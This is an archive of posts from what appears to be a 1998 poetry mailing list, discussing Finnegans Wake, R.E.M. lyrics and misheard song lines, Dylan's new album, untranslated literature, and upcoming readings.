> *indeed in the poem's tenor itself (1), the implications of the tremendous*
> *disaffection of someone who is so sensitive (not unlike Malte Laurids*
> *Brigge) that he *normally* hears emotional empathy from the furniture, and*
> *then *ceases* to hear it--who can imagine the agony of the speaker whose*
> *inanimate confidant retreats into its role as a mundane object?*
>
> *Then again, perhaps the speaker was just following the practice of the*
> *talking horse, as detailed in an earlier post by Ms. Dant.*
>
> *On a (slightly) more serious note: has there even been a panel at the*
> *MLA that discussed the relation of psychoactive drugs to poetic*
> *practice? Possibly even more, ah, illuminating, than gender in Charles*
> *Olson -- (or Duncan!)*

↑ Index

194. louis stroffolino
Re: psychepoedelics
Thu 8 Jan 1998

David, what you say about Fineman?---c

On Thu, 8 Jan 1998, David Golumbia wrote:

> *Gwyn McVay wrote:*
>
> *Not at this *past* MLA ("Convention attendees are hereby advised not to*
> *eat the brown acid before interviews")*

> *After all these years... it's good to find out what I did wrong! I knew I shouldn't have trusted jonathan goldberg ... & what with galway kinnel's famous "mouseketeer" blotter... & the less famous joel fineman windowpane... how did i choose so badly...*
>
> --
> [redacted]
> *David Golumbia*

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195. **Jacques Debrot**

Re [2]: Sillimans Wake

Thu 8 Jan 1998

Henry Gould writes:

"But is that the author's fault or the scholar-allegorists'? Didn't Joyce sort of recognize in advance what the "scholarship industry" was about?"

Actually, Joyce actively encouraged scholarly annotations of his work. For instance, he worked closely with Stuart Gilbert to produce the famous, and still widely available study *James Joyce's Ulysses*. Gilbert even writes in the preface: "Finally it should be mentioned that in the course of writing this Study I read it out to Joyce, chapter by chapter, and that . . . it contains nothing . . . to which he did not give his full approbation; indeed there are several passages which I directly owe to him. Thus the long list of examples of rhetorical forms which concludes my commentary on the "Aeolus" episode was compiled at his suggestion, and we spent several industrious afternoons collaborating on it. And the opening pages of my commentary on the episode of "The Sirens" reproduce, word for word, information given me by Joyce." In fact Stuart did not try to "alleviate the rather pedantic tone of much of [his] writing [because] Joyce approved of it." -- And Stuart, of course, was far from being Joyce's only exegete.

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196. Eric Blarnes
Re: reading in Providence
Thu 8 Jan 1998

Cheers, all. Perusing as was my wont the vagaries of "poetics" along with the whole jolly rogering crew, I scanned Mr. Gould's caustic mandarin orangerie; and it occurred to me (Spandrift is here, actually, if anyone's interested; he's giving a bit of a lecture series in St. Swidefrid's College this term - "Vico, Isaiah Berlin, Ed Dorn : Three Men in a Tub?") that the edifice of Knowledge Snobbery is cornerstoned, kneecapped, and impedimented in something of a pyramidical fashion much like Moby Dick's forehead - wouldn't you say? Show your colors, lads & lasses - & wear your longjohns, Minnesotans! The classroom changes everything, as my good friend Karl Manx of the British Library was wont to say. "Breathes there a manx with tail so dead, that never to hisself has said - play hooky, Cap'n!"

- as Tenny Ninate put it so well. 'Night, all!
- Eric Blarnes

↑ Index

197. Safdie Joseph
Re: song lyricists (was teaching h.s....)
Thu 8 Jan 1998

Chris wrote:

> Safdie---I don't know about drug panels, but I know the MLA has
> consistently rejected proposed panels for PUNK MUSIC---
> once again attesting to the normative bias of culture studies
> being more interested in movies and sports than such....
>

Thanks Chris for that and the Dylan, whose new album I keep hearing is something I should check out: has anyone?

(A small point, but as this has happened before, may I make a general announcement that my first name is actually "Joe" and it's just my server that reverses things? Perhaps I shouldn't talk, as not long ago I mis-posted Dorothy Trujillo Lusk's last name to make it seem as if she were a bit too fond of alcohol, which I'm glad to report is not the case at all)

↑ Index

198. William Burmeister Prod
Re: Sillimans Wake
Thu 8 Jan 1998

Jaques Debrot wrote:

> *Ron Silliman wrote:*
>
> *"Obtuseness or difficulty or whatever is really a learned condition."*
>
> *On the other hand, the anxiety that, for instance, my students have felt about *Finnegan's Wake* (to continue the example) is not simply a "learned condition" but a reasonable response to the relationship of inequality that Joyce predicates between the reader and himself. As Bob Perelman points out in *The Trouble with Genius*, the play of meaning in *FW* is more "precise" than it is "free": "Many specific meanings are explosively packed into the words: a phrase may implicate seven meanings, but these can be explicated. . . . "As burdens of reading [works such as *FW*] can force us into situations of permanent debt -- a freedom to read that entails submission to endless free-play where the playground is an already written page reconstituted by professional interpretation."*

The idea of a relationship of equality/inequality between author and reader seems problematized (for literature that is) in an information culture such as ours. (In Perelman's "a phrase may implicate seven meanings," was "seven" meant (shades of Empson?), or "several?"). In *FW*, the many specific meanings may be too many for Perelman, and those beyond first or second order are none too specific. The free play of meaning in *FW* is inextricably tied to its sound, and as Henry suggests, *FW* begins with and returns to sound. Finally, explication of sense becomes virtually impossible when, as Herb Levy points out, the reader in the end is left to "ascertain whether all of the references and jokes they find in the work were all put there by Joyce to begin with." It is doubtful that the play of meaning in *FW* is closed, that there is an exact solution as "precise" is meant to suggest. As Joyce himself said in *FW*, "confusion hold 'em."

↑ Index

199. William Burmeister Prod
Re: reading in Providence
Thu 8 Jan 1998

On Jan 8, 3:44pm, henry wrote:
> Subject: Re: reading in Providence
> On Thu, 8 Jan 1998 14:59:45 -0500 William Burmeister Prod said:
> >
> >No, compost won't do; nothing short of Ecuadorian bat guano will do. Then

and
> >only then will you hear original Ed sullivan show Elvis dubbed in Quechua.
> >
>
> - Aha! Watson, quick, this way! Now listen closely: WHY did Melville
> have Ahab nail a doubloon from Quito, ECUADOR to the mast of the
Pequod???
>
> - No idea, Holmes.
>
> - [shrugging his shoulders] Not important. All things being equal,
> I think we can fairly say Melville leaves it up to the reader.
> [mischievous glint in his eye] Let me know if you find anything,
> Doctor.
>
> [Watson goes back to reading about rock lyrics in ROLLING STONE.]
>
> - SPANDRIFTNONASEAOFOLD HEARTBREAKS....
>-- End of excerpt from henry

Interesting. It seems that this has become a mini-analogue of present list thread discussions on reading/meaning. Ha! Let that be a lesson to anyone who would question reader response!

- William

↑ Index

200. George Thompson
Re: reading in Providence
Thu 8 Jan 1998

Forwarded regretably from someone who is not a member of the list, irre-gretably:

> "Mock on mock on Spandrift & Blarnes
> Mock on mock on tis no one you've fooled
> You think you're funny but you're not at all
> You think you're funny -- but you're Gould"

I for one am tired of drunken poets who have nothing better to do than to mock good scholars, as if scholarship had nothing to do with poetry [read Silliman's Finnegan's Wake for example]. As far as I'm concerned, one short, incisive post from Gould is worth a dozen jags from Blarnes [the other guy isn't even worth mentioning].

GT [who had nothing to do with it: just the messenger, irregretably]

↑ Index

201. **Schuchat Simon**
Re: Tea Ceremony Races / Idoru - W.Gibson
Thu 8 Jan 1998

Its fairer to say that IDORU is set in present-day Japan but with the pretense of being in the near future.

On Thu, 8 Jan 1998, Eryque Gleason wrote:

> *i think i read in wired magazine about a year ago that there was an actual pop star in japan that was allcomputer animation, the gag was to have concerts with this huge computer girl singing with the music who could be programmed to lip-sync in just about any language.*
>
> *wonder if they're cousins maybe?*
>
> *happy thursday!*
> *eryque*
>
> *Not, I think, to give too much away, the Idoru ("idol") proves to be an artificial-intelligence construct & pop star . . . -- for any who read it, a thought: the character Laney's notion of "nodes" reminds, if vaguely, of what Jung called constellation [as transitive verb] of archetypes -- though the comparision is a bit problematical --*
>
> *d.i.*

↑ Index

202. **dbkk**
The World's Best Literature As Yet Translated Into English
Thu 8 Jan 1998

Hi P-List,

A journalist friend wrote and asked for advice on the following:

> *I want to do a sidebar that goes something like: Ten Books You Can't Read: The World's Best Literature As Yet Translated Into English. This one is especially for you on the list from Spain, Israel, France, Hong Kong, and all the enthusiasts thereof. Any reflections on the art of translation are also welcome.*

Do any of you have any suggestions?

Dodie

↑ Index

203. **groberts**
Re: Sillimans Wake
Thu 8 Jan 1998

Joyce's famous "defenses" of Finnegans Wake probably won't mollify or bloomify most of the impatient or the irate or the intimidated, but they do establish a not entirely disingenuous authorial license for reading successfully. Joyce claimed that the prose was "pure music" and "meant to make you laugh."

As for the deep levels and puns, the undiscoverable and uneditable typos in the book establish a limit to the "success" of the scholars of the next three hundred years.

Gary R.

↑ Index

204. **Gwyn McVay**
"You think you're funny - but you're Gould"
Thu 8 Jan 1998

Jack Spandrift called me late last night - asked me to pass this along: don't forget Wally ("Big Daddy") Stevens' famous aphorism: "Scholarship is the poet's fart." - Ropa-dope Spandrift

↑ Index

205. **Thomas Bell**
Re: teaching h.s. kids
Fri 9 Jan 1998

I do hate to admit my ignorance and lack of adequate background in poetry, but my curiosity overcomes me here. Is the "habit of not speaking the words clearly in order to allow multiple meanings" something the author of the lines explicitly intended? tom bell

At 10:53 AM 1/8/98 -0500, Chris Piuma wrote:

> *HARBORCOAT*
>
> *They crowded up to Lenin with their noses worn off*
> *A handshake is worthy if it's all that you've got*
> *Metal shivs on wood push through our back*
> *There's a splinter in your eye and it reads "REACT"*

> *They shifted the statues for harboring ghosts*
> *Reddened their necks, collared their clothes*
> *Then we danced the dance till the menace got out*
> *She gathered the corners and called it her gown*
>
> *Please find my harborcoat, can't go outside without it*
> *Find my harborcoat, can't go outside without it*
>
> *[etc.]*
>
> *Which leaves out two things that make the text even more interesting:*
> *first, Stipe's habit of not speaking the words clearly in order to allow*
> *multiple meanings (Is it "Metal shoes on wood, pushed through our backs"?*
> *Stipe wants your ears to guide you to the meaning that works best for*
> *you.); and second, that there is a second lyric being sung at the same time*
> *during all but the first verse.*
>
> *It is no accident that two of the FAQ maintainers for rec.music.rem are*
> *also big fans of this disjunctive poetry stuff...*
>
> *--*
> *Chris [Steve] Piuma, etc. Nothing is at: http://www.brainlink.com/~cafard*
> *[Editor of _flim_, Keeper of the R.E.M. Lyric Annotations FAQ, MST3K #43136]*
> *....this message brought to you by the letters N and W and the number 36....*
> *You deploy your favorite logical operator herein. Or not. --Ron Henry, "Whom"*

↑ Index

206. **david bromige**

george bowering proven correct!

Fri 9 Jan 1998

I thought george's post of several days since (before the h.s. teaching lit thread began, when we were still answering the unanswerable question) was merely a cynical flourish ("in canada, we write poetry to get our name in the paper, so that the canada council will fly us for free to interesting places to give readings and so forth"--I quote from memory, not his text), but the other day i read in the toronto globe & mail that george bowering had delivered a paper on michael ondaatje _in paris_ ! so it was all true, every brutal word! --but what i really want to know, is what does "and so forth" entail?

↑ Index

207. LAURA MORIARTY
new non: Vitiello, Schneider, bios&links
Fri 9 Jan 1998

New non -

Jono Schneider and Chris Vitiello

and finally a version of bios of writers including some links - located at the bottom of the contents page

Will add more shortly -

Anyone on the list who is in non but not on the bios page please send a bio to me ASAP - Probably [redacted] is the better address to use -

I have to say that so far this unemployment is great -

The sublime non will be up in a week or so!

Laura Moriarty

↑ Index

208. Steve Carll
14 X 14: Antenym Contributors' Reading
Fri 9 Jan 1998

(((Apologies to anyone who gets this message more than once. Please feel free to forward this list to anyone who might be interested and is not on the above recipient list)))

Celebrating the publication of
Antenym 14
PART TWO OF A TWO-PART SERIES ON THE THEME: ONTOLOGICAL ACTIVISM

featuring readings by 14 contributors including (confirmed): Scott Bentley, Michelle T. Clinton, Norma Cole, Albert DeSilver, Kevin Fitzgerald, Lawrence Fixel, Eric Frost, John High, Glenn Ingersoll, Marina Lazzara, Brian Lucas, Peter Money, Beth Murray and Jono Schneider.

Thursday evening, January 22nd, 1998
7:30 PM SHARP Admission: $5.00
Canessa Park Gallery 708 Montgomery St. (corner of Columbus), S.F.

For more information about *Antenym* or the reading, contact the editor, Steve Carll, by telephone at [redacted], by writing to 106 Fair Oaks St. #1, San Francisco, CA 94110-2951, or by e-mailing <[redacted]>

Bathysphere Press
"It's Deep!"

****

[redacted] Steve Carll
http://writing.upenn.edu/epc/mags/antenym
http://writing.upenn.edu/epc/ezines/antenym

In seed-
sense
the sea stars you out, innermost, forever.

--Paul Celan
****

↑ Index

209. George Bowering
Re: george bowering proven correct!
Fri 9 Jan 1998

> *--but what i really want to know, is what does "and so forth" entail?*

Oh, come on, Bromige. I have personally seen you and-so-forth in three different cities.

George Bowering.

,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

210. Louis Cabri
PhillyTalks #3
Fri 9 Jan 1998

Jeff Derksen & Ron Silliman dialogue on opposition & contradiction in the unedited present, in PhillyTalks #3, available next week from this e-address to interested persons. #3 includes new poetry from each.

The event itself - reading and discussion - takes place Jan 21st at Kelly Writers House, 3805 Locust Walk, Philadelphia, 7 pm. All welcome.

Stay e-tuned for PhillyTalks #s 4 & 5, in Feb & March.

- Louis

↑ Index

211. Hugh Steinberg
Re: The World's Best Literature As Yet Translated Into English
Fri 9 Jan 1998

Dodie writes:

> *A journalist friend wrote and asked for advice on the following:*
>
> *I want to do a sidebar that goes something like: Ten Books You Can't Read: The World's Best Literature As Yet Translated Into English. This one is especially for you on the list from Spain, Israel, France, Hong Kong, and all the enthusiasts thereof. Any reflections on the art of translation are also welcome.*
>
> *Do any of you have any suggestions?*

There's a Turkish writer, Bilge Karasu, who is really, really great. One of his books, "Night," was translated into English, as well as a small number of other works, but the vast bulk remains in Turkish, maddeningly untranslated.

Hugh Steinberg

↑ Index

212. Miekal And
russian contacts: segay/nikonova
Fri 9 Jan 1998

---

visual, performance, intermedia poets
that are one of the main progenitors of living zaum
I believe they have been doing work since the late 50s ...
in the old days had to get ahold of them thru someone in czechoslovakia
but think they should be alot more accessible these days.
Im sure they could introduce you to a whirlwind of russian contacts...

Serge Segay/Rea Nikonova
Sverdlova 175
353660 EYSK
USSR

↑ Index

213. Michael Magee
Re: dylan
Fri 9 Jan 1998

"Thanks Chris for that and the Dylan, whose new album I keep hearing is something I should check out: has anyone?"

My sister got it for me for Christmas - I think it's very good and that the talk ("best since Blood on the Tracks" etc) is not hype. It's kind of Tom Waits-ish - raw production, rhythmically interesting, lots of very effective subtle accompaniment by the musicians he assembled. It sounds like he'sbeen listening more closely to the (real) blues and (real) folk that got him started in the first place, which ends up making things sound more fresh, not surptising I guess, since Robert Johnson is still a good deal more "alternative" than the great majority of the schlock on the "alternative" radio stations. Another plug fopr anyone even vaguely interested in hip-hop: Cibo Matto's *Viva La Woman* - two Japanese-American women rappers playing w/ a kind of Asian-English pidgin on ten songs all based (in the great tradition of Gertrude Stein and Harryette Mullen) on food; and since we've been posting lyrics, here's a few from "Birthday Cake":

Yes, I'm cooking for my son and his wife
It's his thirtieth birthday
Pour berries into a bowl, add milk of two months ago
"It's moldy...mom, isn't it?"
I don't give a flying fuck though
SHUT UP AND EAT, TOO BAD NO BOB APPETIT!
SHUT UP AND EAT! YOU KNOW MY LOVE IS SWEET
It's food noveau, it's food noveau
It's the shape of love

All this over some very funky music. -m.

↑ Index

214. Henry Gould
Re: Sillimans Wake
Fri 9 Jan 1998

On Thu, 8 Jan 1998 22:59:50 -0500 <[redacted]> said:
>Joyce's famous "defenses" of Finnegans Wake probably won't mollify or
>bloomify most of the impatient or the irate or the intimidated, but they
>do establish a not entirely disingenuous authorial license for reading
>successfully. Joyce claimed that the prose was "pure music" and "meant to
>make you laugh."
>

>As for the deep levels and puns, the undiscoverable and uneditable typos in
>the book establish a limit to the "success" of the scholars of the next
>three hundred years.

And seems to me Joyce threw a spanner into ALL the interpretive activity by setting the entire super-intricate UFOsey whirling 6-dimensional vibrating space canoe inside the dreaming mind of a drunken Irish barkeeper. Vico, the avatar of FW & a great humanist, argued contra Descartes et al. that history was more essential than mathematics (which is accurate only because we make up the rules) or science (because we can never know the "nature" of mysterious Creation from the inside the way we can know history - because language & history are human acts & makings). Maybe one could deduce from that the argument that to REALLY UNDERSTAND the DEEPER MEANING of all the triple-entendres of FW we would have to grow very OLD & get very DRUNK in an Irish bar. (But this is being a literalist and unimaginative - Vico himself would not approve.)

See Isaiah Berlin's excellent study of Vico in his book VICO & HERDER.

- Henry 'You think you're funny -- but you're" Gould

(George, when I come to write my "Under Ben Bulben", you'll be on my mi-my-ind...)

- this just in from Jack Spandrift:
"You searcheth the Dream Songs, for indeed they wrote of Henry; but there you will not find Me." - The Gospel of Jack

↑ Index

215. Chris Piuma
Re: teaching h.s. kids
Fri 9 Jan 1998

Thomas Bell showed great grace and sensitivity to write on 98.01.09:

[R.E.M.]
> I do hate to admit my ignorance and lack of adequate background
> in poetry, but my curiosity overcomes me here. Is the "habit
> of not speaking the words clearly in order to allow multiple
> meanings" something the author of the lines explicitly intended?

Yes. Although, admittedly, it's possible that Stipe came up with the technique before he noticed the effects it had -- but then, that's how these things usually work, eh?

A touchstone for him is Walker Percy's essay "Metaphor as Mistake". He says: "Anyone who really wants to figure out the words to our songs should probably

read that essay, then go back and listen. It talks about how people misinterpret something that's being said, and come up with a little phrase or word that actually defines the essence of what the original was better than the original did." It's a matter of trusting "mistakes" to do the dirty work [half the jokes in Finnegans Wake are typos] and then accepting and encouraging "mistakes".

Famous example: in the song "I Believe", he had originally written down the line "What do you do between the hours of the day", which is a fairly blah line, especially out of context. But someone misread his handwriting, and complimented him on the great image in "What do you do between the horns of the day". Stipe went with the "misreading".

So, in a song which seems to be about children who are addicted to television ("Catapult"), one line can be heard as:

> Coward in a hole, open mouth.
> Cower inner hope, opium mouth.
> Cowered in a hole, Opie mouth.

&c., each reading adding to the fullness of the song. It's another form of ambiguity, one not available to written poetry (under most circumstances).

-- Chris [Steve] Piuma, etc. Nothing is at: http://www.brainlink.com/~cafard [Editor of _flim_, Keeper of the R.E.M. Lyric Annotations FAQ, MST3K #43136] ....this message brought to you by the letters N and W and the number 36.... You deploy your favorite logical operator herein. Or not. --Ron Henry, "Whom"

↑ Index

216. Miekal And
Plugin World
Fri 9 Jan 1998

Just discovered the Talker plugin via the Mindshipmind website http://www.essl.at/works/mindshipmind.html (thanks to jim andrews linksite) & even tho I tire quickly of the macintosh computer voices, Im wondering if others know of sound poetry sites that use this plugin (certainly there must be a pc version as well) towards interesting ends?

& also wondering if there any sites out there that support the text/x-speech MIME type that I could post a sound poetry work at?

miekal
....n.
....d.

↑ Index

217. David Kellogg
Re: dylan
Fri 9 Jan 1998

On Fri, 9 Jan 1998, Michael Magee wrote:
>
> My sister got it for me for Christmas - I think it's very good and that
> the talk ("best since Blood on the Tracks" etc) is not hype. It's kind of
> Tom Waits-ish - raw production, rhythmically interesting, lots of very
> effective subtle accompaniment by the musicians he assembled. It sounds
> like he'sbeen listening more closely to the (real) blues and (real) folk
> that got him started in the first place, which ends up making things sound
> more fresh, not surptising I guess, since Robert Johnson is still a good
> deal more "alternative" than the great majority of the schlock on the
> "alternative" radio stations.

I'm with MM on this. It's a fine, fine album, from the first cut "Lovesick" ("I'm sick of love / I wish I'd never met you") to the last, 16-minute "Highlands." It _does_ have a Tom Waitsish feel to it, with maybe a bit of Leonard Cohen. The songs keep creating dark moods of betrayal and loss and then breaking expectations of a "silver lining" follow-up line. His endless tour has clearly taught him a lot.

Cheers,
David
~~~
~~~

↑ Index

219. Kristen Gallagher
Re: PhillyTalks #3
Fri 9 Jan 1998

---

are you gonna be emailing the philly talks stuff instead of printing it out? am i understanding you? thats cool. can i be on the mailing list? :)

↑ Index

220. Alan Myouka Sondheim
(no subject)
Fri 9 Jan 1998

-

Dreaming, unwell, I can no longer understand my dreams; dream-signs written in false dream-kanji clutter the dream-landscape - dream-writing becomes inert, signifier of incomprehension, and writing slips back into the world it once mediated. Dream-world or world, dream-mediation hold- ing back the dream-real or real, now lost to dream-interpretation: they are _here,_ they are my dream-foreign; there is no dream-comprehension, dream-therapeutic; only broken dream-bodies with common dream-blood and dream-bones abound. You see you may take "dream" out of this in any "dream-space," but you cannot add past the inert; I am dream-suffocated in the dream-real or real; I am dream-mute, suspicious of _all_ dream- meaning and meaning; I do not understand my dream-face or scars on my body; I do not dream-age or age. Dreaming, unwell, I am manipulating signs _as I speak_ and I no longer dream-understand what my dream-face or face is saying, is desperate, unwell. Dreaming, I dream-type or type-this to you "given the hope that" some dream-sense or sense will come, but I am gone, dream-dead or dead, turned to dream-ash or ash, these are kanji, are they not, you, stone, ash, body, dream, language, ash, kanji, see?

↑ Index

221. Robert Hale
Re: The World's Best Literature As Yet Translated Into English
Fri 9 Jan 1998

As far as I know, there is a great deal of Michelet that has not been translated. Perhaps someone can site specific texts. I am thinking of his natural histories, which I have never been able to find.

At 07:28 PM 1/8/98 -0800, you wrote:
>Hi P-List,
>
>A journalist friend wrote and asked for advice on the following:
>
>> I want to do a sidebar that goes something like: Ten Books You
>>Can't Read: The World's Best Literature As Yet Translated Into English. This
>>one is especially for you on the list from Spain, Israel, France, Hong Kong,
>>and all the enthusiasts thereof. Any reflections on the art of translation
>>are also welcome.
>
>Do any of you have any suggestions?
>
>Dodie
>
>

↑ Index

222. **Gwyn McVay**
And Lady Mondegreen
Fri 9 Jan 1998

There's actually a word for song mishearings: "mondegreen," coined in the 1930s when a newspaper columnist confessed that, as a girl, she had always heard a particular ballad as:

They hae slain the Earl of Morey
And Lady Mondegreen.

She had a vivid, touching picture of the two doomed noble lovers expiring in each other's arms, until she found out that the second line is "and laid him on the green."

There are three recent books of mondegreens out, edited by Gavin Edwards of /Details/ magazine: /Scuse Me While I Kiss This Guy/, /He's Got the Whole World In His Pants/, and /When A Man Loves A Walnut./ Michael Stipe is heavily represented in all three books.

I always heard a perfectly reasonable line from a Grateful Dead song, "get yourself a powder charge, seal that silver mine," as "get yourself a *pound of chocolate.*" Sadly, Garcia, sugar-rampaging diabetic, probably would have preferred the chocolate.

"Mondegreen," I think, would also make a useful word to yell to your golfing partners in describing your location.

Gwyn

↑ Index

223. **henry g**
Re: And Lady Mondegreen
Fri 9 Jan 1998

On Fri, 9 Jan 1998 10:39:49 -0500 Gwyn McVay said:
>
>I always heard a perfectly reasonable line from a Grateful Dead song, "get
>yourself a powder charge, seal that silver mine," as "get yourself a
>*pound of chocolate.*" Sadly, Garcia, sugar-rampaging diabetic, probably
>would have preferred the chocolate.

The Dead line is obviously an allusion to Joseph Conrad's NOSTROMO. - Henry "Gould"

↑ Index

224. **david bromige**
re : george bowering proven correct
Fri 9 Jan 1998

Oh, so in this context of being flown to paris, "and so forth" only means going to museums and art galleries,testing various eateries, riding the busses and feeding squirrels in the local parks? I had supposed it included off-the-record meetings with local diplomats to increase canada's role in international markets.

↑ Index

225. **Safdie Joseph**
Re: PhillyTalks #3
Fri 9 Jan 1998

Louis, I'm with Kristen on this -- very generous of you to e-mail this out to all those interested -- but I couldn't get to your private e-mail address even by just hitting the "reply" key -- is the problem on my end or yours?

> *are you gonna be emailing the philly talks stuff instead of printing it*
> *out? am i understanding you? thats cool. can i be on the mailing list? :)*

↑ Index

226. DANIEL L. COLLIER
Contemporary Russian Poets
Fri 9 Jan 1998

My wife and I are living in Moscow and we're interested in contacting contemporary Russian poets. We have a long list of names and phone numbers culled from anthologies and from friends, but we lack information on less-translated poets and on what's happening now in Russian poetry.

So, my main question... what does the collective poetics list "we" know of contemporary Russian poetry, particularly of untranslated or undertranslated poets of the past twenty years? Name names, tell of trends, etc.

For the superslavophiles, and for those who love to talk, what parallels/differences exist between American & Russian poetry of the past 20 years? Does the Language Poetry/Russian Avant Garde connection continue & how deep is/was it? Can we analogize the Russian tradition of the performing poet (poet as pop star) and the "guitar poet" (pop star as poet) with the broad range of American poetry that emphasizes the spoken word (jazz poetry, Newyoricans, slam poetry, etc.)?

And (yes, it's connected to the above, but weirdly) does anyone have contact info for Jeff McDaniel?

Thanks in advance for your input,
Danny Collier & Lucy Jilka
[redacted]

"The tramvai takes me exactly where I don't want to go." - Viktor Tsoi

↑ Index

227. Mark W Scroggins
Re: And Lady Mondegreen
Fri 9 Jan 1998

My personal fave mishearing is a friend's "Caribou Queen" for Billy Ocean's "Caribbean Queen"--"Now our hearts stampede as one" etc. A similar phenomenon that's proved productive in my own writing is my inability to make out my handwriting in earlier drafts, producing interesting counterintuitive revisions. What the hell _is_ that word?

Mark Scroggins

↑ Index

228. **Maria Damon**
Re: george bowering proven correct!
Fri 9 Jan 1998

---

whew! just when i thot it was safe to get off the list. thanks d and g

At 12:41 AM -0700 1/9/98, George Bowering wrote:
>>--but what i really want to know, is what does "and so
>>forth" entail?
>
>Oh, come on, Bromige. I have personally seen you and-so-forth in three
>different cities.
>
>
>
>
>
>George Bowering.
>   ,
>2499 West 37th Ave.,
>Vancouver, B.C.,
>Canada V6M 1P4
>
>fax: [redacted]

↑ Index

229. **Harold Rhenisch**
Re: The World's Best Literature As Yet Translated Into English
Fri 9 Jan 1998

>> I want to do a sidebar that goes something like: Ten Books You
>>Can't Read: The World's Best Literature As Yet Translated Into English. This
>>one is especially for you on the list from Spain, Israel, France, Hong Kong,
>>and all the enthusiasts thereof. Any reflections on the art of translation
>>are also welcome.

There's an incredible book about WW1 on the Eastern Front, written about a German Doctor in Romania. "Romanian Notebook" by Hans Castorp. It was

published in a pretty darn good English translation in the late 20s. This is a book that should be a film. Brutal. Humane. Surreal. And very much unique. One of those films where the camera pans over incredible scenes, but does not linger.

Erich Kaestner's "Notebene 49" is also a vital document, detailing his successful attempt to escape Berlin at the final collapse of the Reich by taking a film crew to Mayrhofen, high in the Austrian Tyrol, to make a propaganda film about happy peasant purity, and watching the remnants of the Geman army straggle (and straggle is the word) in over the high passes from Italy (rejected, by this point, as was also by this point Kaestner and his film crew, by the peasants), and then his attempts to get down to Munich, where he attempted to get work from the Americans so he did not starve. Another candidate for a film.

Any of Handke's recent novels. Here is where translation gets sticky. In books like "Die Chinesen des Schmerzes" and "Langsame Heimkehr" or "Mein Jahr in der Niemandsbucht" (the latter not translated yet??) Handke creates multi-dimensional texts. This reader found himself disappearing below the surface of the texts, and reappearing elsewhere, each reading a different journey, following a different thread each time, and coming out elsewhere, randomly, in Handke's obsessive subjectivity. The books are not lines of thought but blocks of it. It's like listening to Terry Riley in a way: words setting up a resonance that can be moved through. The translations lose this for me. It appears to me that the translators have chosen to translate these novels into a particular conception of 'story', beefing up the narrative line, but failing completely to capture the real story, the language and the movement through the language, and the new sense of body and world that comes from that. It is a crying shame. I have seen no books better. But not in the translations.

Similarly, translations of Rilke lose Rilke, and again because choices were made, which were not made by Rilke. Rilke left things open. Lost is the sense of clarity and passion rising out of difficult syntax. Lost is the expressionism. Gained is a certain ponderous weight and a difficulty not present in the original. Lost is the richly-modulated voice. In the first few lines of the first Duino elegy we have a vast range of passions, which even Gary Miranda's beautiful translation cannot fully carry. Rilke's first Sonnet to Orpheus can be read as Orpheus singing a temple in silence, for 'animals' to hear 'speech', or as men stumbling out of a bunker in some godawful place outside of Verdun (for instance), and becoming, again, human, while the posts of the bunker still trembled from a bombardment. An unusual reading, for sure, but it is possible in Rilke, where it is impossible in any translation I have ever seen. It's a bit like translating Plato: all that emotion, that simplicity, that clarity, must be moved into English, which operates by different syntactical rules, and so comes out as something difficult, something which, in Plato's case, we have come to recognize as philosophy, and

in Rilke's as literature. I would advise caution. Distressing that the difficulties of translation then create a conception of literature.

"Merlin" and "Parceval" by Dorst. The TV scriptwriter from Munich really outdid himself in these. If Monty Python's "Holy Grail" were written with taste, as literature, by Durrenmatt, it might have been something like these. Richly funny works, too.

Another favourite: "Die Macht der Gewohnheit" by Thomas Bernhard. This is one of the funniest plays I know. I guess the English translation might be something like "Force of Habit". Imagine: a circus troupe has decided that their art form, the circus, is just not high-brow enough, and they really want to play Schubert's Trout Quintet. Before the play begins, they spend 20 years practicing Schubert's piece, with daily rehearsals. Meanwhile, because of this effort, their circus has deteriorated beyond the point of total collapse. Then the play: the day before they finally perform the Trout Quintet. We discover that they have never, in 20 years, had an actual rehearsal, because one of them, Clown, The Lion Tamer who must play the piano, and so forth, has found some excuse not to rehearse (and they can't play their instruments anyway). On this occasion, the Lion Tamer has had his hand mauled by a lion and can only thump on the piano (just like in the music, by the way). The piece is full of slapstick and gymnastics. The Director confesses that he has come to hate The Trout Quintet, but that is beside the point: it must be performed. They are, ultimately, completely unable to perform it. Very funny. What is incredible, however, is that the play is written in verse, very repetitive verse. By the end of the play it has become abundantly clear that they _have_ performed the Trout Quintet: the form of the poem which is the play _is_ the Quintet. I wish I could see this thing onstage.

best,

Harold Rhenisch
[redacted]

↑ Index

230. Tom Orange
Ockeghem's Wake
Fri 9 Jan 1998

"The importance of these and other flights of virtuosity can be easily exaggerated. They hold a fascination for everyone who enjoys puzzles, musical or otherwise....It is less important to know that Ockegham wrote canons than to realize, by listening to his music, that in the comparatively few compositions where he does use such artifices, they are artfully hidden. It is unlikely that anyone listening to the /Missa prolationum/, unless he were exceptionally attentive or

had been alterted beforehand, would realize that he was hearing a series of mensuration canons; but when the underlying scheme of the work is known, one must admire all the more the smooth melodic lines, the harmonious proportions, and the apparent ease with which the music moves despite the formidable technical problem which the composer has set himself." --Donald Jay Grout, "A History of Western Music" (Norton, 1960), 163-66.

↑ Index

231. **Maria Damon**

Re: And Lady Mondegreen

Fri 9 Jan 1998

---

some of my faves: instead of the stones' "I'm so hot for her and she's so cold," "I'm so affable and she's so cold." instead of the beatles' "lady madonna," a friend's mother used to hear "knee-deep in donuts." another friend wd hear the beegees' "more than a woman to me" as "bald-headed woman to me."

At 10:39 AM -0500 1/9/98, Gwyn McVay wrote:
>There's actually a word for song mishearings: "mondegreen," coined in the
>1930s when a newspaper columnist confessed that, as a girl, she had always
>heard a particular ballad as:
>
>They hae slain the Earl of Morey
>And Lady Mondegreen.
>
>She had a vivid, touching picture of the two doomed noble lovers expiring
>in each other's arms, until she found out that the second line is "and
>laid him on the green."
>
>There are three recent books of mondegreens out, edited by Gavin Edwards
>of /Details/ magazine: /Scuse Me While I Kiss This Guy/, /He's Got the
>Whole World In His Pants/, and /When A Man Loves A Walnut./ Michael Stipe
>is heavily represented in all three books.
>
>I always heard a perfectly reasonable line from a Grateful Dead song, "get
>yourself a powder charge, seal that silver mine," as "get yourself a
>*pound of chocolate.*" Sadly, Garcia, sugar-rampaging diabetic, probably
>would have preferred the chocolate.
>
>"Mondegreen," I think, would also make a useful word to yell to your
>golfing partners in describing your location.
>
>Gwyn

↑ Index

232. **Susan Schultz**
Re: And Lady Mondegreen
Fri 9 Jan 1998

And my mother thought that "ticket to ride" was "I got a chicken to ride." Not bad, come to think of it. sms

On Fri, 9 Jan 1998, Maria Damon wrote:

